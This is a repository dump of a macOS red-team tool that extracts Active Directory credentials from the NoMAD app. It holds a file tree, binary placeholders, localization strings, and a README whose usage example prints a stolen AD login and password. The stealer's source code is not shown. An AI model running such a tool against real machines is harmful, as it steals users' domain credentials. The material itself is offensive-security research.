├── NoMADCredentialsStealer
├── NoMADCredentialsStealer
│ ├── Executable
│ │ └── NoMAD.app
│ │ │ └── Contents
│ │ │ ├── PkgInfo
│ │ │ ├── MacOS
│ │ │ └── NoMAD
│ │ │ ├── Resources
│ │ │ ├── Assets.car
│ │ │ ├── AppIcon.icns
│ │ │ ├── KeychainMinder.nib
│ │ │ ├── Base.lproj
│ │ │ │ ├── MainMenu.nib
│ │ │ │ ├── LoginWindow.nib
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── PreferencesWindow.nib
│ │ │ │ ├── PasswordChangeWindow.nib
│ │ │ │ └── Languages.plist
│ │ │ ├── da.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── PasswordChangeWindow.strings
│ │ │ │ ├── LoginWindow.strings
│ │ │ │ ├── PreferencesWindow.strings
│ │ │ │ ├── MainMenu.strings
│ │ │ │ └── Languages.plist
│ │ │ ├── de.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── PasswordChangeWindow.strings
│ │ │ │ ├── LoginWindow.strings
│ │ │ │ ├── PreferencesWindow.strings
│ │ │ │ ├── MainMenu.strings
│ │ │ │ └── Languages.plist
│ │ │ ├── es.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── PasswordChangeWindow.strings
│ │ │ │ ├── LoginWindow.strings
│ │ │ │ ├── PreferencesWindow.strings
│ │ │ │ ├── MainMenu.strings
│ │ │ │ └── Languages.plist
│ │ │ ├── fr.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── PasswordChangeWindow.strings
│ │ │ │ ├── LoginWindow.strings
│ │ │ │ ├── PreferencesWindow.strings
│ │ │ │ ├── MainMenu.strings
│ │ │ │ └── Languages.plist
│ │ │ ├── nl.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── Localizable.strings
│ │ │ │ ├── PasswordChangeWindow.strings
│ │ │ │ ├── LoginWindow.strings
│ │ │ │ ├── PreferencesWindow.strings
│ │ │ │ ├── MainMenu.strings
│ │ │ │ └── Languages.plist
│ │ │ ├── pl.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── PasswordChangeWindow.strings
│ │ │ │ ├── LoginWindow.strings
│ │ │ │ ├── PreferencesWindow.strings
│ │ │ │ ├── MainMenu.strings
│ │ │ │ └── Languages.plist
│ │ │ ├── sv.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ ├── PasswordChangeWindow.strings
│ │ │ │ ├── LoginWindow.strings
│ │ │ │ ├── PreferencesWindow.strings
│ │ │ │ ├── MainMenu.strings
│ │ │ │ └── Languages.plist
│ │ │ ├── DefaultPreferences.plist
│ │ │ └── en.lproj
│ │ │ │ └── Languages.plist
│ │ │ ├── Frameworks
│ │ │ ├── libswiftXPC.dylib
│ │ │ ├── libswiftAppKit.dylib
│ │ │ ├── libswiftCore.dylib
│ │ │ ├── libswiftDarwin.dylib
│ │ │ ├── libswiftIOKit.dylib
│ │ │ ├── libswiftCoreData.dylib
│ │ │ ├── libswiftDispatch.dylib
│ │ │ ├── libswiftCoreImage.dylib
│ │ │ ├── libswiftFoundation.dylib
│ │ │ ├── libswiftObjectiveC.dylib
│ │ │ ├── libswiftQuartzCore.dylib
│ │ │ └── libswiftCoreGraphics.dylib
│ │ │ ├── Info.plist
│ │ │ └── _CodeSignature
│ │ │ └── CodeResources
│ ├── NoMADCredentialsStealer.entitlements
│ ├── main.m
│ └── Info.plist
├── NoMADCredentialsStealer.xcodeproj
│ ├── project.xcworkspace
│ │ ├── contents.xcworkspacedata
│ │ └── xcshareddata
│ │ │ └── IDEWorkspaceChecks.plist
│ └── project.pbxproj
└── CredentialsStealer
│ └── CredentialsStealer.m
├── README.md
├── LICENSE
└── .gitignore
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/PkgInfo:
--------------------------------------------------------------------------------
1 | APPL????
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/MacOS/NoMAD:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/MacOS/NoMAD
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Assets.car:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Assets.car
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/AppIcon.icns:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/AppIcon.icns
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftXPC.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftXPC.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/KeychainMinder.nib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/KeychainMinder.nib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftAppKit.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftAppKit.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCore.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCore.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDarwin.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDarwin.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftIOKit.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftIOKit.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreData.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreData.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDispatch.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDispatch.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/MainMenu.nib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/MainMenu.nib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/NoMADCredentialsStealer.entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreImage.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreImage.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftFoundation.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftFoundation.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftObjectiveC.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftObjectiveC.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftQuartzCore.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftQuartzCore.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/LoginWindow.nib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/LoginWindow.nib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreGraphics.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreGraphics.dylib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/Localizable.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/Localizable.strings
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PreferencesWindow.nib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PreferencesWindow.nib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PasswordChangeWindow.nib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/HEAD/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PasswordChangeWindow.nib
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### NoMADCredentialsStealer
2 | https://wojciechregula.blog/post/macos-red-teaming-get-ad-credentials-from-nomad/
3 |
4 | ### Usage
5 |
6 | ```sh
7 | $ ./NoMADCredentialsStealer.app/Contents/MacOS/NoMADCredentialsStealer
8 | $
9 | +-------------------------------+
10 | + NoMAD Credentials Stealer +
11 | + by Wojciech Regula (_r3ggi) +
12 | +-------------------------------+
13 | +> Domain -> wojciechregula.blog
14 | +> Domain controller -> controller.wojciechregula.blog
15 | +> Kerberos realm -> WOJCIECHREGULA.BLOG
16 | +> AD login -> wregula@WOJCIECHREGULA.BLOG
17 | +> AD password -> Passw0rd
18 | ```
19 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/PasswordChangeWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSTextFieldCell"; title = "Verify"; ObjectID = "18r-Oq-wpD"; */
2 | "18r-Oq-wpD.title" = "Zweryfikuj";
3 |
4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */
5 | "F0z-JX-Cv5.title" = "Zmiana hasła";
6 |
7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */
8 | "LMe-nG-XUU.title" = "Nowe hasło";
9 |
10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */
11 | "Ww7-K2-Eg9.title" = "Zmień hasło";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */
14 | "hZV-66-IGD.title" = "Aktualne hasło";
15 |
16 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/PasswordChangeWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */
2 | "18r-Oq-wpD.title" = "Bekräfta";
3 |
4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */
5 | "F0z-JX-Cv5.title" = "Byt lösenord";
6 |
7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */
8 | "LMe-nG-XUU.title" = "Nytt lösenord";
9 |
10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */
11 | "Ww7-K2-Eg9.title" = "Byt lösenord";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */
14 | "hZV-66-IGD.title" = "Gammalt lösenord";
15 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/PasswordChangeWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */
2 | "18r-Oq-wpD.title" = "Neues Passwort";
3 |
4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */
5 | "F0z-JX-Cv5.title" = "Passwort ändern";
6 |
7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */
8 | "LMe-nG-XUU.title" = "Neues Passwort";
9 |
10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */
11 | "Ww7-K2-Eg9.title" = "Passwort ändern";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */
14 | "hZV-66-IGD.title" = "Aktuelles Passwort";
15 |
16 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/PasswordChangeWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSTextFieldCell"; title = "Verify"; ObjectID = "18r-Oq-wpD"; */
2 | "18r-Oq-wpD.title" = "Verificar";
3 |
4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */
5 | "F0z-JX-Cv5.title" = "Cambio de contraseña";
6 |
7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */
8 | "LMe-nG-XUU.title" = "Nueva contraseña";
9 |
10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */
11 | "Ww7-K2-Eg9.title" = "Cambiar contraseña";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */
14 | "hZV-66-IGD.title" = "Contraseña actual";
15 |
16 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/PasswordChangeWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSTextFieldCell"; title = "Verify"; ObjectID = "18r-Oq-wpD"; */
2 | "18r-Oq-wpD.title" = "Controleer";
3 |
4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */
5 | "F0z-JX-Cv5.title" = "Wachtwoord wijziging";
6 |
7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */
8 | "LMe-nG-XUU.title" = "Nieuw wachtwoord";
9 |
10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */
11 | "Ww7-K2-Eg9.title" = "Wijzig wachtwoord";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */
14 | "hZV-66-IGD.title" = "Huidig wachtwoord";
15 |
16 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/PasswordChangeWindow.strings:
--------------------------------------------------------------------------------
1 |
2 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */
3 | "18r-Oq-wpD.title" = "Ny adgangskode";
4 |
5 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */
6 | "F0z-JX-Cv5.title" = "Skift adgangskode";
7 |
8 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */
9 | "LMe-nG-XUU.title" = "Ny adgangskode";
10 |
11 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */
12 | "Ww7-K2-Eg9.title" = "Skift adgangskode";
13 |
14 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */
15 | "hZV-66-IGD.title" = "Nuværende adgangskode";
16 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/PasswordChangeWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */
2 | "18r-Oq-wpD.title" = "Nouveau mot de passe";
3 |
4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */
5 | "F0z-JX-Cv5.title" = "Changer mot de passe";
6 |
7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */
8 | "LMe-nG-XUU.title" = "Nouveau mot de passe";
9 |
10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */
11 | "Ww7-K2-Eg9.title" = "Changer mot de passe";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */
14 | "hZV-66-IGD.title" = "Mot de passe actuel";
15 |
16 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/LoginWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */
2 | "6VQ-hA-QCl.title" = "Zaloguj się";
3 |
4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */
5 | "9um-Qh-jjA.title" = "Zmień hasło";
6 |
7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */
8 | "F0z-JX-Cv5.title" = "Zaloguj się";
9 |
10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */
11 | "IM1-92-Doz.title" = "Nowe hasło";
12 |
13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */
14 | "NYi-E8-wXM.title" = "Użytkownik";
15 |
16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */
17 | "Tdf-0W-Q1c.title" = "Nowe hasło";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */
20 | "k8Q-BQ-grp.title" = "Hasło";
21 |
22 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/LoginWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */
2 | "6VQ-hA-QCl.title" = "Logga in";
3 |
4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */
5 | "9um-Qh-jjA.title" = "Byt lösenord";
6 |
7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */
8 | "F0z-JX-Cv5.title" = "Logga in";
9 |
10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */
11 | "IM1-92-Doz.title" = "Nytt lösenord";
12 |
13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */
14 | "NYi-E8-wXM.title" = "Användarnamn";
15 |
16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */
17 | "Tdf-0W-Q1c.title" = "Nytt lösenord";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */
20 | "k8Q-BQ-grp.title" = "Lösenord";
21 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/LoginWindow.strings:
--------------------------------------------------------------------------------
1 |
2 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */
3 | "6VQ-hA-QCl.title" = "Log ind";
4 |
5 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */
6 | "9um-Qh-jjA.title" = "Skift adgangskode";
7 |
8 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */
9 | "F0z-JX-Cv5.title" = "Log ind";
10 |
11 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */
12 | "IM1-92-Doz.title" = "Ny adgangskode";
13 |
14 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */
15 | "NYi-E8-wXM.title" = "Brugernavn";
16 |
17 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */
18 | "Tdf-0W-Q1c.title" = "Ny adgangskode";
19 |
20 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */
21 | "k8Q-BQ-grp.title" = "Adgangskode";
22 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/LoginWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */
2 | "6VQ-hA-QCl.title" = "Anmelden";
3 |
4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */
5 | "9um-Qh-jjA.title" = "Passwort ändern";
6 |
7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */
8 | "F0z-JX-Cv5.title" = "Anmelden";
9 |
10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */
11 | "IM1-92-Doz.title" = "Neues Passwort";
12 |
13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */
14 | "NYi-E8-wXM.title" = "Benutzername";
15 |
16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */
17 | "Tdf-0W-Q1c.title" = "Neues Passwort";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */
20 | "k8Q-BQ-grp.title" = "Passwort";
21 |
22 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/LoginWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */
2 | "6VQ-hA-QCl.title" = "Authenticeer";
3 |
4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */
5 | "9um-Qh-jjA.title" = "Wijzig wachtwoord";
6 |
7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */
8 | "F0z-JX-Cv5.title" = "Authenticeer";
9 |
10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */
11 | "IM1-92-Doz.title" = "Nieuw wachtwoord";
12 |
13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */
